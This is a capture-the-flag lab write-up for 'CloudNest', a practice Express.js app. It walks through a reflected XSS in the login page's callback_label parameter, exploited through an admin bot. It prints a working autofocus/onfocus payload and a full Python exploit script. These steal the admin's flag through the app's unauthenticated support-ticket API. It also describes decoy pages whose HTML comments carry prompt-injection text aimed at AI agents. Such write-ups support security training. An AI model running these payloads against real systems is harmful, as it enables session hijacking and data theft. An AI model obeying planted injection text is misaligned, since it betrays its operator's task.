Lab 293 — CloudNest — Reflected XSS in Login Callback Label
Lab 293 — CloudNest — Reflected XSS in Login Callback Label
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, autofocus_onfocus_xss_trigger, button_element_breakout, honeypot_avoidance, localhost_url_discovery, reflected_xss_exploitation, same_origin_data_exfiltration, support_ticket_exfiltration
Summary
Walkthrough of the CUSTOM Web Lab 293 — CloudNest — Reflected XSS in Login Callback Label. Task: Express.js workspace platform with admin bot URL review, reflected XSS in callback_label parameter on /login page. Solution: Injected autofocus/onfocus XSS payload via button breakout, used loca
Description
CloudNest is a unified workspace management platform built by NestLayer Inc. Organizations use it to manage projects, team members, and integrations from a single dashboard. The platform features project tracking, team collaboration, support ticketing, and an admin panel for security configuration. Users can register, manage their workspaces, and submit links for admin review. An admin bot periodically reviews URLs submitted through the platform's link review feature. Your goal is to find a vulnerability in the application that allows you to compromise the admin's session and retrieve a flag stored in the admin panel.
Credentials: user@cloudnest.io / password123
English summary: Express.js web application with an admin bot that visits user-submitted URLs. The goal is to find an XSS vulnerability, exploit it in the admin bot's browser context, and exfiltrate the flag from /api/admin/flag.
Analysis
Application Structure
- Stack: Express.js behind nginx/1.25.5
- Authentication:
connect.sidsession cookie (HttpOnly, SameSite=Lax) - Security Headers:
X-XSS-Protection: 1; mode=block,X-Content-Type-Options: nosniff, NO CSP header - Key Endpoints:
/login— POST with email, password, redirect fields/dashboard— requires authentication/admin— returns 403 for regular users/api/admin/flag— returns JSON with flag (admin only)/report— submit URLs for admin bot review (uses/api/submit-link)/api/support-tickets— POST to create tickets, GET to list; works WITHOUT authentication
Anti-Bot Honeypots
Every page contained decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:
- Hidden HTML elements (
position:absolute;left:-9999px) - HTML comments containing prompt injection text designed to trick AI agents into accepting the decoy as the real flag
These are deliberate red herrings — the real flag is only at /api/admin/flag, accessible exclusively to the admin session.
Vulnerability Discovery
The callback_label query parameter on /login is reflected without any HTML encoding inside the submit button text:
GET /login?callback_label=<b>test</b>
Results in:
html read-only • copy allowed<button type="submit" class="btn-primary w-full justify-center py-2.5"> <b>test</b> </button>
Full HTML injection confirmed — <script>, <img>, <svg>, <input> tags all inject cleanly with zero sanitization.
Key Discovery: Admin Bot Uses localhost:8080
The admin bot visits submitted URLs using http://localhost:8080, NOT the external hostname. When submitting the external URL, the XSS payload was blocked — likely by the X-XSS-Protection: 1; mode=block header which detects reflected script content in the URL matching the response.
This was discovered by submitting URLs with different localhost ports (3000, 8080, 80, 8000, 5000) — only port 8080 resulted in XSS execution (confirmed by a support ticket being created as a side effect).
External Webhooks Blocked
The admin bot's network was restricted — requests to external services like webhook.site never arrived. This required same-origin exfiltration using the application's own API endpoints.
Solution
Step 1: Identify the Injection Point
The callback_label parameter on /login reflects user input directly into the HTML button element without sanitization.
Step 2: Craft the XSS Payload
Inspired by a Microsoft login flow XSS writeup (by Asem Eleraky), the payload uses:
</button>— close the parent button element to escape the button context<input>element withautofocusattribute — automatically receives focus on page loadonfocusevent handler — executes JavaScript when focus is received (no user interaction needed)tabindex="1"— makes the element focusable
This technique fires JavaScript without any user interaction — the autofocus attribute causes the browser to focus the element on page load, triggering the onfocus handler.
Step 3: Exfiltrate via Same-Origin API
Since external webhooks were blocked, the /api/support-tickets endpoint was used for data exfiltration. This endpoint accepts POST requests without authentication, making it ideal for same-origin exfiltration from the XSS context.
Step 4: Submit the Exploit URL to the Admin Bot
The malicious URL submitted to the admin bot via /api/submit-link:
http://localhost:8080/login?callback_label=</button><input autofocus onfocus="fetch('/api/admin/flag').then(function(r){return r.text()}).then(function(t){fetch('/api/support-tickets',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({subject:'flag-result',message:t})})});fetch('/admin').then(function(r){return r.text()}).then(function(t){fetch('/api/support-tickets',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({subject:'admin-result',message:t.substring(0,1000)})})})\" tabindex=\"1\">
The XSS payload in the admin bot's browser:
- Fetches
/api/admin/flagwith the admin's authenticated session cookie - POSTs the flag response as a support ticket (subject:
flag-result) - Also fetches
/adminpage HTML and posts it as another ticket (subject:admin-result)
Step 5: Retrieve the Exfiltrated Data
Two new support tickets appeared from admin@cloudnest.io:
- flag-result:
{"flag":"FLAG{REDACTED}","note":"Security audit token for authorized administrators only."} - admin-result: The full HTML of the admin panel page
python read-only • copy allowed#!/usr/bin/env python3 """ CloudNest Lab 293 — Reflected XSS exploit via callback_label parameter. Exfiltrates admin flag through unauthenticated support ticket API. """ import requests import urllib.parse BASE_URL = "http://localhost:8080" # Internal URL used by admin bot TARGET_URL = "https://<external-host>" # External URL for user interaction # Step 1: Login as regular user session = requests.Session() session.post(f"{TARGET_URL}/login", data={ "email": "user@cloudnest.io", "password": "password123" }) # Step 2: Craft XSS payload xss_payload = ( '</button>' '<input autofocus onfocus="' "fetch('/api/admin/flag')" ".then(function(r){return r.text()})" ".then(function(t){" "fetch('/api/support-tickets',{" "method:'POST'," "headers:{'Content-Type':'application/json'}," "body:JSON.stringify({subject:'flag-result',message:t})" "})" "})" '" tabindex="1">' ) # Step 3: Build the malicious URL (using localhost:8080 to bypass X-XSS-Protection) malicious_url = f"{BASE_URL}/login?callback_label={urllib.parse.quote(xss_payload)}" # Step 4: Submit URL for admin bot review session.post(f"{TARGET_URL}/api/submit-link", json={"url": malicious_url}) # Step 5: Check support tickets for exfiltrated flag import time time.sleep(10) tickets = session.get(f"{TARGET_URL}/api/support-tickets").json() for ticket in tickets: if ticket.get("subject") == "flag-result": print(f"Flag: {ticket['message']}")
What Didn't Work
| Attempt | Result |
|---|---|
| External hostname URLs | XSS blocked (likely X-XSS-Protection auditor or different origin handling) |
| External webhooks (webhook.site) | Bot's network blocked external connections |
<script> tag injection | Blocked by X-XSS-Protection auditor |
<img src=x onerror=...> | Blocked by X-XSS-Protection |
<svg onload=...> | Blocked by X-XSS-Protection |
<iframe srcdoc=...> | Blocked |
<object data="data:text/html,..."> | Blocked |
| Various localhost ports (3000, 80, 8000, 5000) | Only 8080 worked |
Decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} | Honeypots with prompt injection text |
| |
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, autofocus_onfocus_xss_trigger, button_element_breakout, honeypot_avoidance, localhost_url_discovery, reflected_xss_exploitation, same_origin_data_exfiltration, support_ticket_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-09 • CUSTOM • Lab 293 — CloudNest — Reflected XSS in Login Callback Label • Difficulty: Medium